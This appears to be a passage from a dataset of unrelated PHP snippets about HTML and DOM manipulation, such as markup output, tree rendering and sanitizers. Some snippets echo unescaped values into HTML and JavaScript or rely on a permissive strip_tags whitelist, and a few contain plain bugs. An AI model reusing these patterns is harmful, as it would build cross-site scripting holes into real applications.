{\n\t\t\t\t\t\tif ($node->childNodes)\n\t\t\t\t\t\t\tforeach($node->childNodes as $child)\n\t\t\t\t\t\t\t\t$loop[] = $child;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$loop[] = $node;\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$loop = $nodes;\n\t\t\t\tself::debug(\"Getting markup, moving selected nodes (\".count($loop).\") to new DocumentFragment\");\n\t\t\t\t$fake = $this->documentFragmentCreate($loop);\n\t\t\t\t$markup = $this->documentFragmentToMarkup($fake);\n\t\t\t}\n\t\t\tif ($this->isXHTML) {\n\t\t\t\tself::debug(\"Fixing XHTML\");\n\t\t\t\t$markup = self::markupFixXHTML($markup);\n\t\t\t}\n\t\t\tself::debug(\"Markup: \".substr($markup, 0, 250));\n\t\t\treturn $markup;\n\t\t} else {\n\t\t\tif ($this->isDocumentFragment) {\n\t\t\t\t// documentFragment, html only...\n\t\t\t\tself::debug(\"Getting markup, DocumentFragment detected\");\n//\t\t\t\treturn $this->markup(\n////\t\t\t\t\t$this->document->getElementsByTagName('body')->item(0)\n//\t\t\t\t\t$this->document->root, true\n//\t\t\t\t);\n\t\t\t\t$markup = $this->documentFragmentToMarkup($this);\n\t\t\t\t// no need for markupFixXHTML, as it's done thought markup($nodes) method\n\t\t\t\treturn $markup;\n\t\t\t} else {\n\t\t\t\tself::debug(\"Getting markup (\".($this->isXML?'XML':'HTML').\"), final with charset '{$this->charset}'\");\n\t\t\t\t$markup = $this->isXML\n\t\t\t\t\t? $this->document->saveXML()\n\t\t\t\t\t: $this->document->saveHTML();\n\t\t\t\tif ($this->isXHTML) {\n\t\t\t\t\tself::debug(\"Fixing XHTML\");\n\t\t\t\t\t$markup = self::markupFixXHTML($markup);\n\t\t\t\t}\n\t\t\t\tself::debug(\"Markup: \".substr($markup, 0, 250));\n\t\t\t\treturn $markup;\n\t\t\t}\n\t\t}\n\t}", "function setInnerHTML($innerHTML){\n\t\tif(!is_array($innerHTML)){\n\t\t\t$innerHTML = [$innerHTML];\n\t\t}\n\n\t\t$this->innerHTML = $innerHTML;\n\t}", "function tag_html($selector, $source = false)\r\n{\r\n\r\n $r = get_noko($source)->get($selector)->toHtml();\r\n $r = str_replace(array(\"\\n\", \"\\t\"), '', $r);\r\n if ($r=='<root/>') $r='';\r\n $r=close_tags($r);\r\n if (DEV)\r\n xlogc('tag_html', $r, $selector, $source);\r\n\r\n return $r;\r\n}", "function handleBrokenHTML($html) {\n $old = libxml_use_internal_errors(true);\n $dom = new DOMDocument;\n $dom->loadHTML($html);\n libxml_use_internal_errors($old);\n return $dom;\n}", "function change_node_content(&$dom, &$node, $new_txt_content){\n\t\t// to accomplish changing the content\n\t\t// of a node, we delete the child\n\t\t// text node of the node passed in and\n\t\t// add a new text node with the given value\n\t\t$txt_node = $node->child_nodes();\n\t\t$txt_node = $txt_node[0];\n\t\t$node->remove_child($txt_node);\n\t\t// now create the new node\n\t\t$new_txt = $dom->create_text_node($new_txt_content);\n\t\t$node->append_child($new_txt);\n\t}", "public function escapeHtml(bool $escapeHtml = true, $inheritFalse = false): self\n {\n // If explictly set to false (i.e. not null) and should retain that false\n if ($this->escapeHtml === false && $inheritFalse) {\n // Then don't do anything\n return $this;\n }\n\n $this->escapeHtml = $escapeHtml;\n\n // If true\n if ($escapeHtml) {\n // Then find all child text nodes and apply the same logic\n foreach ($this->children as $child) {\n if (is_object($child)) {\n if ($child instanceof IsTextNode) {\n // .. unless it's been explicitly set to false\n $child->escapeHtml(true, true);\n }\n }\n }\n }\n\n return $this;\n }", "static function insertHtmlDom($element, $html, $encoding = 'UTF-8')\n {\n if ($html == null) {\n return;\n }\n\n $elementDoc = $element->ownerDocument;\n while ($element->hasChildNodes()) {\n $element->removeChild($element->childNodes->item(0));\n }\n $html = self::cleanXml($html, $encoding);\n if (substr($html, 0, 5) == '<?xml') {\n $html = substr($html, strpos($html, \"\\n\", 5) + 1);\n }\n\n $contentNode = self::makeContentNode($html);\n foreach ($contentNode->childNodes as $child) {\n $node = $elementDoc->importNode($child, true);\n $element->appendChild($node);\n }\n return $contentNode;\n }", "function writeHTML()\n\t{\n\t\tglobal $_activeTree;\n\t\t\n\t\t$c = count($this->children);\n\n\t\tif ($this->link)\n\t\t{\n\t\t\t$title = \"<a href='{$this->link}' target='{$this->target}'>{$this->title}</a>{$this->extras}\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$title = \"<a href='#' onclick='\";\n\t\t\t\n\t\t\tif ($_activeTree->onSelect)\n\t\t\t{\n\t\t\t\t$title .= \"{$_activeTree->onSelect}(\\\"{$this->value}\\\");\";\n\t\t\t}\n\t\t\t\n\t\t\t$title .= \"; return false'>{$this->title}</a>{$this->extras}\";\n\t\t}\n\t\t\n\t\tif ($c == 0 && !$this->onDemand)\n\t\t{\n\t\t\t// Leaf node\n\t\t\techo \"<div class='{$this->leafStyle}'>\";\n\n\t\t\tif (isset($this->value) && $this->value !== \"\" && $_activeTree->selectMode != 'navigation')\n\t\t\t{\n?>\n\t\t\t<input type=\"checkbox\" class=\"checkbox\" name=\"<? echo $this->id?>\" value=\"<? echo $this->value?>\"<? \n\t\t\t\tif ($this->checked) echo \" checked\";\n\t\t\t\tif ($this->disabled) echo \" disabled\";\n\t\t\t\tif ($_activeTree->selectMode == \"single\") \n\t\t\t\t{\n\t\t\t\t\techo \" onclick=\\\"Tree.clearCheckBoxes('{$_activeTree->id}', this);\";\n\t\t\t\t\tif ($_activeTree->onSelect)\n\t\t\t\t\t{\n\t\t\t\t\t\techo \" {$_activeTree->onSelect}('{$this->value}');\";\n\t\t\t\t\t}\n\t\t\t\t\techo \"\\\"\";\n\t\t\t\t}\n\t\t\t\telse if ($_activeTree->onSelect)\n\t\t\t\t{\n\t\t\t\t\techo \" onclick=\\\"{$_activeTree->onSelect}('{$this->value}');\\\"\";\n\t\t\t\t}\n\t\t\t\t ?>/>\n<?\n\t\t\t}\n\t\t\n\t\t\techo \"$title</div>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif ($this->open)\n\t\t\t{\n\t\t\t\t$style = $this->openStyle;\n\t\t\t\t$display = \"block\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$style = $this->closedStyle;\n\t\t\t\t$display = \"none\";\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\tif ($this->onDemand)\n\t\t\t{\n\t\t\t\t$cmd = \"Tree.loadOnDemand('{$this->id}', '{$this->onDemand}');\";\n\t\t\t\t\n\t\t\t\tif ($this->open)\n\t\t\t\t{\n?>\n<script type=\"text/javascript\">\n\twindow.addEvent('domready', function() {Tree.loadOnDemand('<?echo $this->id?>', '<?echo $this->onDemand?>');});\n</script>\n<?\n\t\t\t\t}\t\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$cmd = \"\";\n\t\t\t}\n\t\t\t\n\t\t\t$cmd .= \"Tree.toggleFolder('{$this->id}', '{$this->openStyle}', '{$this->closedStyle}');\";\n?>\n\t\t<div id='<?echo $this->id?>' class='<?echo $style?>' onclick=\"<?echo $cmd ?>\">\n<?\n\t\t\tif (isset($this->value) && $this->value !== \"\")\n\t\t\t{\n?>\n\t\t\t<input type=\"checkbox\" class=\"checkbox\" name=\"<? echo $this->id?>\" value=\"<? echo $this->value?>\" <? \n\t\t\t\tif ($this->checked) echo \" checked\";\n\t\t\t\tif ($this->disabled) echo \" disabled\";\n\t\t\t\tif ($_activeTree->selectMode == \"single\") \n\t\t\t\t{\n\t\t\t\t\techo \" onclick=\\\"Tree.clearCheckBoxes('{$_activeTree->id}', this);\";\n\t\t\t\t\tif ($_activeTree->onSelect)\n\t\t\t\t\t{\n\t\t\t\t\t\techo \" {$_activeTree->onSelect}('{$this->value}');\";\n\t\t\t\t\t}\n\t\t\t\t\techo \"\\\"\";\n\t\t\t\t}\n\t\t\t\telse if ($_activeTree->onSelect)\n\t\t\t\t{\n\t\t\t\t\techo \" onclick=\\\"{$_activeTree->onSelect}('{$this->value}');\\\"\";\n\t\t\t\t}\n\t\t\t\t ?>/>\n<?\n\t\t\t}\n?>\n\t\t<?echo $title?></div>\n\t\t<div id='<?echo $this->id?>_contents' style='padding-left: <?echo $_activeTree->indent ?>; display: <? echo $display?>'>\n\t\t\t\n<?\t\t\t\n\t\t\tfor($i = 0; $i < $c; ++$i)\n\t\t\t{\n\t\t\t\t$this->children[$i]->writeHTML();\n\t\t\t}\n?>\n\t\t</div>\n<?\n\t\t}\n\t}", "abstract public function convert_to_html();", "protected function setPlainContent() {}", "function parse_content($node){\n $result = $node->xpath('//content'); // replace this with the XPath of the node\n if (!empty($result[0])) {\n // Optional replacements to convert custom XML tags to HTML equivalent\n $find_xml = array('section_title','section_content','section', 'texteparagraphe','titreparagraphe');\n $replace_html = array('h1','p','div','p','h2');\n $html = str_replace($find_xml, $replace_html, $result[0]->asXML());\n $node->addChild('content_html', $html);\n }\n return $node;\n}", "public function run($new =Null){\r\n\t\t\tif(!is_null($new)){\r\n\t\t\t\tif(is_a($new,jqmel)){\r\n\t\t\t\t\t$new = $new->get()[0];\r\n\t\t\t\t\tif(!$new)return;\r\n\t\t\t\t}else if(is_a($new,jqmdoc)){\r\n\t\t\t\t$new = $html->__toString();\r\n\t\t\t\t}\t\t\t\t\r\n\t\t\t\t$d = $this->__toDomElement();\r\n\t\t\t\t$d->nodeValue = '';\r\n\t\t\t\tif(is_string($new)){\r\n\t\t\t\t$in = $d->ownerDocument->createDocumentFragMent();\r\n\t\t\t\t$in->appendxml($new);\r\n\t\t\t\t}else if(is_a($new,'DOMNode')){\r\n\t\t\t\t$in = $d->ownerDocument->importNode($new,true);\r\n\t\t\t\t}\r\n\t\t\t\t$d->appendChild($in);\r\n\t\t\t\t$this->node->exportNode($d,null,true);\r\n\t\t\t\t\r\n\t\t\t\t}else{\r\n\t\t\t\t$dom = ($this->node->__toDomElement());\r\n\t\t\t\t$inner = '';\r\n\t\t\t\tfor($i=0;$dom->childNodes->length > $i;$i++){\r\n\t\t\t\t\tif($this->node->isxml()){\r\n\t\t\t\t\t\t$inner .=$dom->childNodes[$i]->ownerDocument->saveXml($dom->childNodes[$i]);\t\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$inner .=$dom->childNodes[$i]->ownerDocument->saveHtml($dom->childNodes[$i]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$this->node->_innerHtml = $inner;\r\n\t\t\t\tunset($inner);\r\n\t\t\t\treturn $inner;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "public function outerHtml()\n {\n }", "public function testConstructInvalidHTML(string $html)\n {\n (new Dom($html));\n }", "public function testSetText()\n {\n $document = $this->createDomDocument();\n $element = $document->createElementNS(Atom::NS, 'content');\n $document->documentElement->appendChild($element);\n $content = new Content($this->createFakeNode(), $element);\n $content->setContent('Less: <', 'text');\n static::assertEquals(\n '<content type=\"text\">Less: &lt;</content>',\n $document->saveXML($element)\n );\n }", "public function setHtmlBody($body) {\r\n $this->htmlBody = $body;\r\n $this->html = true;\r\n }", "public function setDomNode(DOMElement $domNode) {\n\t\t$this->domNode = $domNode;\n\t}", "private function getHtmlBody(): string\n {\n return <<<EOT\n<div>A div tag</div>\n<script></script> // This tag should have a `nonce` attribute added\n<div>A div tag</div>\n<link rel=\"stylesheet\"> // This tag should have a `nonce` attribute added\n<div>A div tag</div>\n<h1>A heading</h1>\n<style></style> // This tag should have a `nonce` attribute added\n<div>A div tag</div>\nEOT;\n }", "function HtmlToXml($html)\n {\n return str_replace(\"<p>\",\"<ctc:p>\", str_replace(\"</p>\",\"</ctc:p>\", $html));\n }", "public static function disableHtmlExtension()\r\n {\r\n self::$html = false;\r\n }", "public function it_can_be_escaped_for_html()\n {\n $object = new Testee(self::TEST_NULL_VALUE_TO_ESCAPE);\n $this->assertEquals(self::TEST_HTML_ESCAPED_STRING, $object->escape(EscapeTarget::HTML));\n }", "static public function setHTML() {\n\t\tself::$page_type = 0;\n\t}", "static function appendHtmlDom($element, $html, $encoding = 'UTF-8')\n {\n if ($html == null) {\n return;\n }\n\n $html = self::cleanXml($html, $encoding);\n if (substr($html, 0, 5) == '<?xml') {\n $html = substr($html, strpos($html, \"\\n\", 5) + 1);\n }\n $elementDoc = $element->ownerDocument;\n\n $contentNode = self::makeContentNode($html);\n foreach ($contentNode->childNodes as $child) {\n $node = $elementDoc->importNode($child, true);\n $element->appendChild($node);\n }\n return $contentNode;\n }", "public function setHtml(HelperLocatorFactory $html)\n {\n $this->html = $html;\n }", "function setElementHTML($elemName, $html)\n\t{\n\t\t// Only update if element is custom\n\t\tif (isset($this->elementListNames[$elemName]) && $this->elementListNames[$elemName]->type == 'custom') {\n\t\t\t$this->elementListNames[$elemName]->setCustomHTML($html);\n\t\t}\n\t}", "function setHTML($value = true)\n {\n $this->multimailer->isHTML($value);\n }", "public function setHTML()\n {\n // Tanken är att logiken för att sätta HTML-koden för navbaren ligger i denna metod.\n\n\n $this->htmlNavbar = $this->getHTML();\n\n }", "public function updateHtml($dataString, $enable_editor);", "protected function saveHtml()\n {\n $this->fsio->put($this->page->getTarget(), $this->html);\n }", "public function outerHTML()\n\t{\n\t\t$output = \"\";\n\t\t\n\t\t$doc = new DOMDocument(\"1.0\", \"UTF-8\");\n\t\t$element = $doc->importNode(dom_import_simplexml($this), true);\n\t\t$doc->appendChild($element);\n\t\t\n\t\treturn $element->ownerDocument->saveHTML($element);\n\t}", "function somehtml($nohtml) {\n\t\t$nohtml = str_replace(\"&#124;\", \"|\", $nohtml);\n\t\treturn stripslashes(strip_tags($nohtml, '<p><a><font><ul><li><h1><h2><h3><h4><h5><h6><hr><b><u><i><strong><em><table><tr><td><tbody><tfoot><span><div><br><br /><blockquote><img><embed><object><form><input>'));\n\t}", "public function setHtml($sHtml) {\n $this->sHtml = $sHtml;\n }", "public function get_html($nl2br=false)\r\n\t{\r\n\t\t$html = '';\r\n\t\t\r\n\t\tforeach($this->children as $child)\r\n\t\t\t$html .= $child->get_html($nl2br);\r\n\t\t\r\n\t\tif($this instanceof SBBCodeParser_Document)\r\n\t\t\treturn $html;\r\n\t\t\r\n\t\t$bbcode = $this->root()->get_bbcode($this->tag);\r\n\t\t\t\r\n\t\tif(is_callable($bbcode->handler()) && ($func = $bbcode->handler()) !== false)\r\n\t\t\treturn $func($html, $this->attribs, $this);\r\n\t\t\t//return call_user_func($bbcode->handler(), $html, $this->attribs, $this);\r\n\r\n\t\treturn str_replace('%content%', $html, $bbcode->handler());\r\n\t}", "protected function getHtml( DOMNode $node, $outer=false, $trim = true, $mode = 'XML' )\n {\n $saveMode = 'save' . $mode;\n\n if(!method_exists($this->doc, $saveMode)){\n throw new CException('method '.$saveMode.' not allowed');\n return '';\n }\n\n $html = $this->doc->$saveMode($node);\n if (!$outer){\n $html = substr($html,strpos($html,'>')+1,-(strlen($node->nodeName)+3));\n }\n\n return ($trim) ? trim($html) : $html;\n }", "function writeHTML()\n\t{\n\t\tglobal $_activeTree;\n\t\t\n\t\t$_activeTree= $this;\n\t\t\n\t\t$this->writeScript();\n\t\t$width = is_numeric($this->width) ? \"{$this->width}px\" : $this->width;\n\t\t$height = is_numeric($this->height) ? \"{$this->height}px\" : $this->height;\n\t\t\n\t\tif ($this->selectMode == \"single\")\n\t\t{\n?>\n<input type='hidden' name='<?echo $this->id ?>' id='<?echo $this->id?>' value='<?echo $this->value ?>'/>\n<? \n\t\t}\n?><table id=\"<?echo $this->id?>_table\" class=\"<? echo $this->style?>\" cellpadding=\"0\" cellspacing=\"0\" <? if ($this->width) echo \"style='width:{$width}'\"; ?>>\n\t\t <? \n\t\t if ($this->title)\n\t\t {\n\t\t ?>\t\t \n\t\t <tr>\n\t\t <th><? echo $this->title?></th>\n\t\t </tr>\n\t\t <?\n\t\t }\n\t\t ?>\n\t\t <tr>\n\t\t <td>\n\t\t <div style=\"padding: 0; margin: 0; width: 100%;<? if ($this->height > 0) { ?> height: <?echo $this->height?>px;<? } ?><?if ($this->scroll) echo \"overflow: auto\"?>\">\n<?\n\t\t$this->writeNodes();\n?>\n\t\t </div>\n\t\t </td>\n\t\t </tr>\n\t\t</table>\n<?\n\t\t$_activeTree = null;\n\t}", "function updateDomElement( &$appctx )\n\t\t{\n\t\t$appctx->Indent() ; echo( \"cmsnodes[$this->idx].updateDomElement() ;\\n\" ) ;\n\t\t}", "public function setHtml( $html )\n\t{\n\t\t$this->reporter->setHtml( $html );\n\t\treturn $this;\n\t}", "function add_html () {\n //Adds a html block\n return '<div class=\"black\">Lorem ipsum dolor</div>';\n }", "public function htmlspecial($text) {\n // This converts single quote to &#039;\n $tooltip = htmlspecialchars($text,ENT_QUOTES);\n // since the result is parsed again with xml_parser, and xml_parser\n // autoconverts (apparently) &#039; back to single quote,\n // and then generates a parse error if this single quote occurs\n // within an atribute value expresses as <x attr='y'> (i.e. y has a\n // single quote).\n // Because of this we change &#039; to &#8217; -- which xml_parser\n // apparently leaves unchanged, and generates no error.\n $tooltip = preg_replace('/&#039;/','&#8217;',$tooltip);\n return $tooltip;\n}", "protected function nodeContent($oNode, $bOuter = false)\n {\n $oDom = new DOMDocument('1.0');\n $b = $oDom->importNode($oNode->cloneNode(true), true);\n $oDom->appendChild($b);\n $h = $oDom->saveHTML();\n\n if (!$bOuter) {\n $h = substr($h, strpos($h, '>') + 1, -(strlen($oNode->nodeName) + 4));\n }\n\n return $h;\n }", "abstract public function generateHtml();", "public function setHTMLMessage($message);", "public abstract function get_html();", "function set_html( $source, $from_file = false )\n {\n $this->html = $source;\n\n if ( $from_file && file_exists($source) ) {\n $fp = fopen($source, 'r');\n $this->html = fread($fp, filesize($source));\n fclose($fp);\n }\n\n $this->_converted = false;\n }", "function setElementCustomHTML($elemName, $html)\n\t{\n\t\t// Only update if element is custom\n\t\tif (isset($this->elementListNames[$elemName])) {\n\t\t\t$this->elementListNames[$elemName]->setTypeAsCustom($html);\n\t\t}\n\t}", "function setHTMLoption($fieldname, $innername, $value)\n\t{\n\t\t$this->setFieldInnerParam($fieldname, \"html\", $innername, $value);\n\t}", "function onSetContent( $editor, $html ) {\n\t\treturn \"document.getElementById( '$editor' ).value = $html;\\n\";\n\t}", "public function testAppendHtml() {\r\n\t\t$this->testObject->appendHtml ( '<div>test</div>' );\r\n\t\t$this->assertTrue ( '<div>test</div>' == $this->testObject->getAppendHtml (), 'incorrect appended html found' );\r\n\t}", "function nohtml($nohtml) {\n\t\t$nohtml = str_replace(\"&#124;\", \"|\", $nohtml);\n\t\treturn nl2br(stripslashes(strip_tags($nohtml)));\n\t}", "function setContent(string $content_html): void\n {\n $this->data['content'] = $content_html;\n }", "abstract public function getHtml();", "private function generateContentNode( DOMNode $root, $element, $dataNode )\n {\n $elementTag = $this->xml->createElement( $element );\n $root->appendChild( $elementTag );\n\n $attributes = array();\n\n if ( isset( $dataNode->type ) )\n {\n $val = $dataNode->type;\n switch ( $val )\n {\n case 'html':\n $dataNode->text = htmlspecialchars( $dataNode->__toString() );\n $this->addAttribute( $elementTag, 'type', $val );\n break;\n\n case 'xhtml':\n $this->addAttribute( $elementTag, 'type', $val );\n $this->addAttribute( $elementTag, 'xmlns:xhtml', 'http://www.w3.org/1999/xhtml' );\n $xhtmlTag = $this->xml->createElement( 'xhtml:div', $dataNode->__toString() );\n $elementTag->appendChild( $xhtmlTag );\n $elementTag = $xhtmlTag;\n break;\n\n case 'text':\n $this->addAttribute( $elementTag, 'type', $val );\n break;\n\n default:\n if ( preg_match( '@[+/]xml$@', $val ) !== 0 )\n {\n // @todo: implement to assign the text in $dataNode as an XML node into $elementTag\n $this->addAttribute( $elementTag, 'type', $val );\n }\n else if ( substr_compare( $val, 'text/', 0, 5, true ) === 0 )\n {\n $dataNode->text = htmlspecialchars( $dataNode->__toString() );\n $this->addAttribute( $elementTag, 'type', $val );\n break;\n }\n else if ( $val !== null )\n {\n // @todo: make 76 and \"\\n\" options?\n $dataNode->text = chunk_split( base64_encode( $dataNode->__toString() ), 76, \"\\n\" );\n $this->addAttribute( $elementTag, 'type', $val );\n }\n else\n {\n $val = 'text';\n $this->addAttribute( $elementTag, 'type', $val );\n }\n break;\n\n }\n }\n\n if ( $dataNode->src !== null )\n {\n $this->addAttribute( $elementTag, 'src', $dataNode->src );\n }\n\n if ( $dataNode->language !== null )\n {\n if ( $dataNode->type === 'xhtml' )\n {\n $this->addAttribute( $elementTag->parentNode, 'xml:lang', $dataNode->language );\n }\n else\n {\n $this->addAttribute( $elementTag, 'xml:lang', $dataNode->language );\n }\n }\n\n $elementTag->nodeValue = $dataNode;\n }", "public static function xhtml($xhtml)\n {\n self::$useXhtml = $xhtml === true ? ' /' : '';\n }", "public function testSetTextFoo()\n {\n $document = $this->createDomDocument();\n $element = $document->createElementNS(Atom::NS, 'content');\n $document->documentElement->appendChild($element);\n $content = new Content($this->createFakeNode(), $element);\n $content->setContent('Less: <', 'text/foo');\n static::assertEquals(\n '<content type=\"text/foo\">Less: &lt;</content>',\n $document->saveXML($element)\n );\n }", "public function setCachedHTML($options);", "function html($text, $wrapper = 'code') {\n global $conf;\n\n if($conf['htmlok']) {\n $this->doc .= $text;\n } else {\n $this->doc .= p_xhtml_cached_geshi($text, 'html4strict', $wrapper);\n }\n }", "public abstract function html(): string;", "public function setNodeValue($value) {\n $this->nodeValue = $value;\n }", "public final function setText($text)\n {\n if (!$text instanceof HtmlStringable) {\n $text = \\htmlspecialchars((string) $text, \\ENT_NOQUOTES, 'UTF-8');\n }\n $this->children = [(string) $text];\n return $this;\n }", "function linkToDomElement( $appctx )\n\t\t{\n\t\t$appctx->Indent() ; echo( \"cmsnodes[$this->idx].linkToDomElement() ;\\n\" ) ;\n\t\t}", "private function htmlFix() {\n // First, check if html is allowed\n if (!$this->allow_html) {\n $html = false;\n } elseif ($this->standard_html) {\n $html = true;\n } else {\n $html = false;\n }\n\n $newParseArray = array();\n while ($tag = array_shift($this->parseArray)) {\n switch ($tag) {\n case self::TAG_NOHTML_OPEN:\n case self::TAG_HTML_CLOSE:\n $html = false;\n break;\n case self::TAG_HTML_OPEN:\n case self::TAG_NOHTML_CLOSE:\n if ($this->allow_html) {\n $html = true;\n }\n break;\n\n default:\n if ($html) {\n if ($tag == self::BR_TAG) {\n $tag = \"\\n\";\n } // Really, no BR's in html code is wanted.\n $newParseArray[] = $tag;\n } else {\n $newParseArray[] = htmlspecialchars($tag);\n }\n }\n }\n $this->parseArray = $newParseArray;\n return true;\n }", "function createXmlContent($DomDocument, $content, $DomNode, $object = '')\r\n {\r\n $contentDoc = new DOMDocument();\r\n $contentDoc->formatOutput = true;\r\n $contentDoc->preserveWhiteSpace = false;\r\n\r\n $DomDocument->formatOutput = true;\r\n $DomDocument->preserveWhiteSpace = false;\r\n\r\n $content = preg_replace(\"/(?s)(<img(\\\"[^\\\"]*\\\"|'[^']*'|[^'\\\">\\/])*)(>)/\", \"$1/>\", $content); // need the self closing tag to prevent mismatching tag error from loadXML\r\n $content = str_replace(\"<br>\", \"<br/>\", $content); // need the self closing tag to prevent mismatching tag error from loadXML\r\n $content = str_replace(\"<em>\", \"<emphasis>\", $content);\r\n $content = str_replace(\"<b>\", \"<strong>\", $content);\r\n $content = str_replace(\"</em>\", \"</emphasis>\", $content);\r\n $content = str_replace(\"</b>\", \"</strong>\", $content);\r\n $content = preg_replace('/<ol style=\"list-style-type:([a-zA-Z-]+);\">/', '<ol type=\"$1\">', $content);\r\n $content = preg_replace('/<ul style=\"list-style-type:([a-zA-Z-]+);\">/', '<ul bullet=\"$1\">', $content);\r\n\r\n $contentDoc->loadXML($content);\r\n $divNode = $contentDoc->documentElement;\r\n\r\n foreach ($divNode->childNodes as $child)\r\n {\r\n if ($child->nodeType == XML_ELEMENT_NODE)\r\n {\r\n if ($child->tagName == \"p\")\r\n {\r\n if (!empty($object))\r\n {\r\n // replace all anchored elements as subordinates\r\n $atags = $child->getElementsByTagName(\"a\");\r\n\r\n $alength = $atags->length;\r\n\r\n for ($i = 0; $i < $alength; $i++)\r\n {\r\n $a = $atags->item(0);\r\n $targetSub = null;\r\n if (!empty($a))\r\n {\r\n $id = $a->getAttribute(\"id\");\r\n\r\n foreach ($object->subordinates as $subordinate)\r\n {\r\n $hotInfo = explode(\"||\", $subordinate->hot);\r\n\r\n if (trim($id) == trim($hotInfo[0]))\r\n {\r\n $targetSub = $subordinate;\r\n break;\r\n }\r\n }\r\n\r\n if (!empty($targetSub))\r\n {\r\n $initsubordinateNode = $targetSub->exportData();\r\n $subordinateNode = $contentDoc->importNode($initsubordinateNode, true);\r\n if (!empty($a->parentNode))\r\n {\r\n $a->parentNode->replaceChild($subordinateNode, $a);\r\n }\r\n }\r\n }\r\n }\r\n\r\n // replace all img tags with media\r\n $imgTags = $child->getElementsByTagName(\"img\");\r\n\r\n foreach ($imgTags as $key => $img)\r\n {\r\n if (isset($object->medias))\r\n {\r\n if (sizeof($object->medias) > 0)\r\n {\r\n foreach ($object->medias as $media)\r\n {\r\n $imgAttr = $img->getAttribute('src');\r\n $imgFileNameInfo = explode(\"/\", $imgAttr);\r\n\r\n $mediaSrcInfo = explode(\"||\", $media->img->src);\r\n\r\n $srcInfo = explode(\"/\", $mediaSrcInfo[0]);\r\n\r\n if ($imgFileNameInfo[sizeof($imgFileNameInfo) - 1] == $srcInfo[sizeof($srcInfo) - 1])\r\n {\r\n $mediaNode = $media->exportData();\r\n $mediaElement = $contentDoc->importNode($mediaNode, true);\r\n $img->parentNode->replaceChild($mediaElement, $img);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n $this->exportMath($child, $contentDoc);\r\n }\r\n $newChildNode = $this->replacePTags($DomDocument, $child); \r\n $childNode = $DomDocument->importNode($newChildNode, true);\r\n }\r\n else\r\n {\r\n $ptags = $contentDoc->getElementsByTagName(\"p\");\r\n\r\n foreach ($ptags as $p)\r\n {\r\n $newpNode = $this->replacePTags($DomDocument, $p);\r\n $pNode = $contentDoc->importNode($newpNode, true);\r\n $p->parentNode->replaceChild($pNode, $p);\r\n }\r\n\r\n // li needs to be processed separately as the p tags in li are not detected by the \r\n // getElementByTagName method above (when there are more than one, it only detects first one for some reason)\r\n $litags = $child->getElementsByTagName(\"li\");\r\n\r\n $newPTag = null;\r\n foreach ($litags as $li)\r\n {\r\n $liDoc = new DOMDocument();\r\n $liDoc->formatOutput = true;\r\n $liDoc->preserveWhiteSpace = false;\r\n $newliTag = $liDoc->createElement(\"li\");\r\n\r\n foreach ($li->childNodes as $liChild)\r\n {\r\n if ($liChild->nodeType == XML_ELEMENT_NODE)\r\n {\r\n if ($liChild->tagName == \"para\")\r\n { // could have para if the above method detected it\r\n $newPTag = $liDoc->importNode($liChild, true);\r\n }\r\n else if ($liChild->tagName == \"p\")\r\n {\r\n $newpNode = $this->replacePTags($liDoc, $liChild);\r\n $newPTag = $liDoc->importNode($newpNode, true);\r\n }\r\n }\r\n // if the DOMText is not blank, then add para tag --> the content created from \r\n // the authoring tool TinyMCE editor does not have p tags as default so need to add it\r\n // when exporting\r\n else if (!preg_match(\"/\\s+/\", $liChild->wholeText))\r\n {\r\n $newPTag = $liDoc->createElement(\"para\");\r\n $newPbodyTag = $liDoc->createElement(\"para.body\");\r\n $lichildNode = $liDoc->importNode($liChild, true);\r\n $newPbodyTag->appendChild($lichildNode);\r\n $newPTag->appendChild($newPbodyTag);\r\n }\r\n // can have DOMText with whitespace so in this case, no need for the para tag\r\n else if (preg_match(\"/\\s+/\", $liChild->wholeText))\r\n {\r\n $newPTag = $liDoc->importNode($liChild, true);\r\n }\r\n\r\n if (!empty($newPTag))\r\n {\r\n $newliTag->appendChild($newPTag);\r\n }\r\n }\r\n\r\n $newLi = $contentDoc->importNode($newliTag, true);\r\n\r\n $li->parentNode->replaceChild($newLi, $li);\r\n }\r\n if (!empty($object))\r\n {\r\n $atags = $child->getElementsByTagName(\"a\");\r\n\r\n $alength = $atags->length;\r\n\r\n// foreach ($anchorArray as $a) {\r\n for ($i = 0; $i < $alength; $i++)\r\n {\r\n $a = $atags->item(0);\r\n $targetSub = null;\r\n if (!empty($a))\r\n {\r\n $id = $a->getAttribute(\"id\");\r\n\r\n foreach ($object->subordinates as $subordinate)\r\n {\r\n $hotInfo = explode(\"||\", $subordinate->hot);\r\n\r\n if (trim($id) == trim($hotInfo[0]))\r\n {\r\n $targetSub = $subordinate;\r\n break;\r\n }\r\n }\r\n\r\n if (!empty($targetSub))\r\n {\r\n $initsubordinateNode = $targetSub->exportData();\r\n $subordinateNode = $contentDoc->importNode($initsubordinateNode, true);\r\n if (!empty($a->parentNode))\r\n {\r\n $a->parentNode->replaceChild($subordinateNode, $a);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n $imgTags = $child->getElementsByTagName(\"img\");\r\n\r\n foreach ($imgTags as $key => $img)\r\n {\r\n if (isset($object->medias))\r\n {\r\n if (sizeof($object->medias) > 0)\r\n {\r\n foreach ($object->medias as $media)\r\n {\r\n $imgAttr = $img->getAttribute('src');\r\n $imgFileNameInfo = explode(\"/\", $imgAttr);\r\n\r\n $srcInfo = explode(\"/\", $media->img->src);\r\n\r\n if ($imgFileNameInfo[sizeof($imgFileNameInfo) - 1] == $srcInfo[sizeof($srcInfo) - 1])\r\n {\r\n $mediaNode = $media->exportData();\r\n $mediaElement = $contentDoc->importNode($mediaNode, true);\r\n $img->parentNode->replaceChild($mediaElement, $img);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n $this->exportMath($child, $contentDoc);\r\n \r\n $childNode = $DomDocument->importNode($child, true);\r\n } \r\n $DomNode->appendChild($childNode);\r\n }\r\n else\r\n { // info captions saved from imported XML does 